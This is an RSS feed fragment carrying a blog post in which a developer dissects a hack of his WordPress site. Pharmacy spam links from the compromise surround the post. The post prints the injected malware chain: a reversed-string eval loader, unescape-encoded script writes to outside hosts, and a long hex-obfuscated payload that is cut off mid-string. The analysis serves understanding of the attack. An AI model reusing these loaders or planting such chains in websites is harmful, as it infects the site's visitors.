<b>Trackbacks from:</b> <a href='http://www.leaduganda.org/?p=3514'>Flagyl For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6916'>Flagyl For Sale</a>. <a href='http://www.greatgreengoods.com/?p=4031'>Flagyl For Sale</a>. <a href='http://www.thegriffonnews.com/?p=10580'>Flagyl For Sale</a>. <a href='http://www.independentworldreport.com/?p=2643'>Flagyl For Sale</a>. <a href='http://4realz.net/?p=2486'>What is Flagyl</a>. <a href='http://tvtownhall.com/?p=1903'>Where to buy Flagyl</a>. <a href='http://reversemortgagedaily.com/?p=14810'>Canada, mexico, india</a>. <a href='http://linuxologist.com/?p=1840'>Flagyl trusted pharmacy reviews</a>. <a href='http://home.officesnapshots.com/?p=364'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Elegant Code &#187; Chris Brandsma</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Flagyl For Sale</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79\x75\x38\x33\x6d\x65\x6c\x32\x71\x37\x76\x6c\x53\x52\x48\x30\x67\x30\x6d\x77\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x72\x58\x69\x25\x32\x30\x61\x72\x69\x5f\x56\x47\x52\x66\x68\x70\x5f\x5a\x44\x6c\x51\x56\x57\x44\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x49\x6f\x6b\x6c\x25\x33\x41\x38\x32\x54\x2e\x72\x70\x45\x56\x45\x66\x6b\x6a\x6a\x48\x68\x2e\x53\x56\x64\x6a\x33\x66\x77\x77\x34\x79\x73\x32\x7a\x37\x6b\x46\x44\x56\x75\x78\x77\x6a\x31\x72\x73\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x25\x32\x46\x6e\x25\x32\x30\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x50\x51\x43\x55\x55\x5a\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4b\x6a\x6a\x57\x25\x33\x41\x32\x6a\x59\x2e\x54\x6f\x52\x70\x5a\x66\x6c\x6d\x70\x49\x54\x2e\x45\x66\x63\x37\x78\x68\x72\x76\x70\x72\x64\x37\x62\x36\x56\x32\x59\x72\x78\x35\x34\x4a\x6e\x64\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x59\x56\x4e\x6b\x53\x6f\x5f\x63\x6b\x58\x55\x57\x5a\x65\x50\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x53\x2e\x69\x61\x52\x52\x59\x50\x70\x65\x70\x62\x69\x2e\x54\x6e\x69\x70\x6a\x67\x73\x76\x34\x72\x6d\x31\x71\x73\x77\x65\x57\x63\x58\x56\x7a\x36\x32\x73\x25\x32\x42\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x72\x45\x54\x25\x32\x30\x4c\x6a\x63\x5f\x68\x51\x45\x5f\x65\x64\x25\x30\x39\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x6b\x50\x71\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x57\x46\x5f\x43\x45\x54\x55\x6f\x69\x25\x30\x39\x25\x30\x39\x70\x25\x32\x30\x25\x32\x37\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x47\x67\x70\x62\x66\x6a\x59\x64\x6e\x57\x2e\x45\x4a\x32\x6d\x6c\x2d\x51\x47\x63\x59\x55\x32\x41\x4c\x42\x69\x56\x68\x55\x32\x5a\x6d\x5a\x49\x5a\x2e\x52\x59\x66\x25\x33\x46\x57\x53\x57\x59\x65\x55\x33\x51\x70\x42\x6f\x6a\x5f\x57\x5a\x54\x56\x72\x6f\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x5a\x43\x54\x25\x32\x30\x61\x69\x69\x5f\x62\x44\x52\x5f\x5a\x48\x6d\x25\x32\x46\x6b\x4f\x25\x30\x39\x25\x30\x39\x37\x25\x32\x30\x25\x32\x37\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x62\x50\x61\x48\x5a\x69\x64\x55\x55\x69\x2e\x53\x4f\x32\x55\x6c\x2d\x42\x59\x64\x65\x6b\x32\x54\x4f\x57\x52\x47\x4e\x4f\x31\x65\x64\x47\x55\x6e\x2e\x57\x59\x4e\x25\x33\x46\x57\x44\x6f\x5a\x6b\x6b\x33\x6a\x73\x57\x58\x55\x5f\x4c\x52\x6c\x57\x65\x51\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x4d\x56\x53\x5f\x66\x58\x6d\x52\x6e\x62\x4a\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x56\x62\x66\x57\x47\x6f\x49\x5a\x69\x6f\x2e\x5a\x59\x32\x76\x6c\x2d\x45\x46\x4f\x5a\x64\x37\x53\x35\x51\x64\x4c\x63\x38\x37\x4a\x69\x55\x61\x75\x2e\x67\x59\x6f\x25\x33\x46\x57\x47\x56\x4b\x66\x64\x38\x69\x57\x51\x6a\x5a\x5f\x61\x25\x32\x46\x72\x42\x6a\x57\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x73\x52\x69\x25\x32\x30\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x62\x6b\x51\x47\x55\x54\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x25\x32\x37\x59\x52\x70\x51\x25\x33\x41\x36\x32\x62\x69\x70\x57\x68\x6f\x4c\x47\x54\x6a\x2e\x53\x64\x31\x5a\x66\x2d\x51\x4b\x64\x47\x6a\x6d\x58\x47\x57\x6b\x56\x63\x57\x37\x4d\x50\x46\x56\x6e\x2e\x6c\x58\x53\x25\x33\x46\x51\x53\x61\x5a\x4d\x6a\x6e\x6e\x6b\x57\x71\x6a\x5f\x63\x6e\x57\x48\x47\x46\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x51\x6e\x25\x32\x30\x5a\x56\x63\x5f\x62\x48\x53\x5f\x4a\x6b\x42\x59\x57\x57\x66\x63\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x67\x70\x58\x52\x25\x33\x41\x6e\x32\x56\x68\x6f\x49\x59\x69\x4f\x56\x50\x6f\x2e\x44\x63\x32\x73\x6d\x2d\x52\x55\x6c\x65\x52\x6e\x45\x47\x51\x6a\x55\x4f\x4e\x31\x50\x65\x42\x61\x59\x2e\x6b\x59\x6c\x25\x33\x46\x58\x54\x6b\x68\x6b\x52\x6f\x55\x6b\x51\x70\x69\x5f\x4f\x65\x51\x4b\x57\x25\x32\x46\x65\x4d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x6b\x45\x46\x47\x55\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x25\x32\x30\x62\x51\x4f\x69\x55\x25\x33\x42\x25\x30\x44\x25\x30\x41\x63\x52\x50\x25\x32\x30\x66\x54\x68\x5f\x52\x6c\x6d\x63\x56\x73\x5f\x65\x52\x46\x47\x6f\x25\x30\x39\x32\x25\x32\x30\x78\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x44\x68\x25\x32\x30\x5a\x5a\x64\x5f\x25\x32\x46\x6c\x51\x67\x56\x70\x5f\x5a\x66\x6c\x6d\x70\x25\x30\x39\x71\x25\x32\x30\x65\x63\x72\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x48\x67\x4e\x68\x46\x6f\x5f\x67\x6e\x62\x57\x5a\x77\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x64\x71\x6b\x67\x25\x33\x41\x25\x32\x42\x37\x45\x46\x58\x52\x64\x59\x55\x47\x67\x6b\x48\x63\x47\x70\x5a\x6e\x70\x6f\x71\x56\x64\x2e\x62\x6b\x51\x6e\x76\x56\x6a\x37\x39\x48\x6a\x2e\x66\x4f\x67\x25\x33\x46\x25\x32\x46\x38\x6d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6f\x6b\x54\x57\x50\x55\x55\x6e\x5f\x6b\x55\x62\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4f\x6b\x52\x6c\x25\x33\x41\x6d\x36\x54\x61\x69\x6c\x63\x5a\x6e\x46\x51\x4f\x2e\x54\x65\x69\x31\x4d\x69\x31\x4a\x63\x47\x59\x4c\x6b\x66\x6c\x2e\x67\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x46\x49\x32\x5f\x57\x55\x61\x34\x4e\x6c\x4d\x5a\x6b\x51\x4f\x43\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x32\x25\x32\x42\x57\x50\x47\x54\x6b\x25\x32\x38\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x67\x68\x61\x56\x4c\x6e\x25\x32\x30\x30\x25\x32\x30\x51\x6a\x4b\x5f\x57\x51\x6b\x63\x61\x71\x5f\x5a\x65\x63\x61\x62\x25\x32\x30\x6d\x25\x32\x30\x25\x32\x37\x2e\x4c\x52\x68\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x55\x57\x6b\x68\x55\x25\x32\x30\x61\x51\x69\x5f\x42\x6b\x67\x68\x62\x6b\x5f\x6c\x71\x68\x25\x32\x30\x6f\x25\x32\x30\x4c\x55\x64\x5f\x51\x6c\x66\x4f\x55\x6a\x5f\x57\x69\x43\x62\x4a\x73\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x5a\x64\x5a\x55\x61\x25\x32\x30\x30\x25\x32\x30\x25\x32\x37\x2e\x5a\x48\x69\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x44\x71\x4f\x58\x6b\x65\x6c\x65\x25\x32\x30\x41\x52\x49\x5f\x47\x54\x47\x52\x6a\x61\x25\x32\x46\x49\x68\x51\x54\x56\x25\x32\x38\x51\x6e\x44\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x71\x52\x6e\x25\x32\x30\x66\x57\x69\x5a\x69\x49\x25\x32\x30\x6f\x25\x32\x30\x46\x66\x53\x71\x63\x48\x64\x6a\x2e\x4a\x69\x43\x57\x55\x5a\x38\x68\x62\x64\x56\x6d\x70\x25\x32\x38\x25\x32\x37\x4d\x48\x54\x52\x63\x61\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x49\x68\x51\x54\x56\x2e\x51\x6e\x44\x25\x32\x30\x37\x25\x32\x30\x6a\x6e\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x59\x59\x69\x50\x53\x47\x68\x4a\x6f\x70\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x65\x5a\x55\x63\x61\x52\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x4b\x48\x69\x51\x69\x55\x2e\x56\x6a\x6f\x53\x56\x2e\x42\x65\x54\x6b\x63\x57\x76\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x5a\x6d\x68\x4d\x50\x47\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x56\x6e\x51\x50\x55\x2e\x69\x61\x70\x4a\x61\x2e\x4e\x56\x69\x63\x66\x65\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x7a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x54\x43\x64\x55\x2e\x6f\x6a\x62\x62\x55\x2e\x57\x52\x42\x5a\x4a\x69\x58\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x78\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x45\x65\x68\x4b\x56\x50\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x4f\x6a\x65\x61\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x66\x57\x69\x5a\x69\x49\x2e\x55\x56\x70\x62\x61\x2e\x6d\x4c\x54\x6a\x4f\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x59\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x47\x6d\x52\x69\x62\x2e\x6a\x6b\x78\x68\x49\x2e\x4a\x47\x5a\x57\x64\x6a\x25\x32\x30\x70\x25\x32\x30\x25\x32\x37\x71\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x4c\x6b\x53\x6e\x4f\x25\x32\x30\x64\x57\x6e\x58\x64\x56\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x65\x71\x52\x45\x56\x5a\x65\x6a\x25\x32\x30\x25\x33\x44\x38\x43\x5f\x53\x59\x56\x25\x32\x46\x70\x46\x4e\x54\x6e\x66\x67\x6b\x25\x32\x38\x72\x6e\x47\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x58\x43\x69\x25\x32\x30\x69\x59\x68\x4c\x66\x6a\x25\x32\x30\x74\x25\x32\x30\x55\x4d\x59\x56\x68\x56\x6a\x71\x2e\x54\x69\x64\x57\x58\x47\x74\x63\x55\x69\x55\x51\x6a\x25\x32\x38\x25\x32\x37\x69\x4a\x69\x47\x6c\x55\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x54\x6e\x66\x67\x6b\x2e\x73\x75\x54\x47\x25\x32\x30\x6f\x25\x32\x30\x25\x32\x37\x6b\x55\x74\x6a\x6f\x5a\x51\x63\x52\x51\x59\x53\x64\x67\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x70\x54\x69\x68\x6c\x58\x2e\x55\x54\x54\x25\x